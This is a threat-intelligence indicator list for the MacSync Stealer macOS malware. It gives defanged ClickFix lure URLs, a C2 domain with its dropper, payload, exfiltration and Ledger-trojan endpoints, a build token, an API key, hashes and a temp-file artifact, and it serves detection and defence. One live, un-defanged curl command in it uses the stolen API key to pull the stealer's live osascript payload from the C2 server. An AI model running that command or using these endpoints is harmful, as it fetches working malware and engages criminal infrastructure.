MacSync Stealer — Build: c3 | v1.1.2 | IOCs

MacSync.md

MacSync Stealer — Build: c3 | v1.1.2 | IOCs

Last updated: 2026-03-30

Clickfix URLs

hxxps://index.orbitstreamvault4[.]lat/c3/?c=AM6HwGmifAUAvYwCAElUOQASAAAAAAA-
hxxps://filealphaweave[.]com/c3/?c=ANIbyWn3bQUAvYwCAEZSOQAZAAAAAACr
hxxps://fileomegaform[.]com/c3/?c=ALL-x2lxgAUAvYwCAElOOQAZAAAAAACZ
hxxps://index.nebulasyncforge4[.]baby/c3/?c=ABYAxmmifAUAvYwCAENMOQAZAAAAAAAx
hxxps://upsreit[.]com/c3/?c=AL2bvGmifAUAvYwCAE1YOQAZAAAAAACs
hxxps://filebinaryhaze[.]com/c3/?c=ALLfymn4gAUAN44CAFRSOQASAAAAAACP
hxxps://index.nebulasyncforge1[.]baby/c3/?c=AB5uwmn7egUAvYwCAENaOQAZAAAAAABJ [DEAD]

C2 Domain

flwoagent[.]com

Build Token

484e513fdf967e35d2e21b8b88df0a2867c1abf6045e4ec41974ae927abb2140

API Key

5190ef1733183a0dc63fb623357f56d6

curl -k -s --max-time 15 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
"http://flwoagent.com/dynamic?txd=484e513fdf967e35d2e21b8b88df0a2867c1abf6045e4ec41974ae927abb2140"

C2 Endpoints

hxxp://flwoagent[.]com/curl/<token>               # dropper delivery
hxxp://flwoagent[.]com/dynamic?txd=<token>        # live payload (osascript)
hxxp://flwoagent[.]com/gate?buildtxd=<token>      # exfiltration (HTTP PUT chunks)
hxxps://flwoagent[.]com/ledger/<token>            # Ledger Wallet trojan
hxxps://flwoagent[.]com/ledger/live/<token>       # Ledger Live trojan

SHA256 Hashes

8809d3421c09669f88330adf3007b933abec13bf6ed105a785a97c7df2625301  malware.osascript
462e933940439cab7d008ba217ce8b01c73ba6aa928d0c1d159435d178d2bbc1 runner

File Artifacts

/tmp/osalogging.zip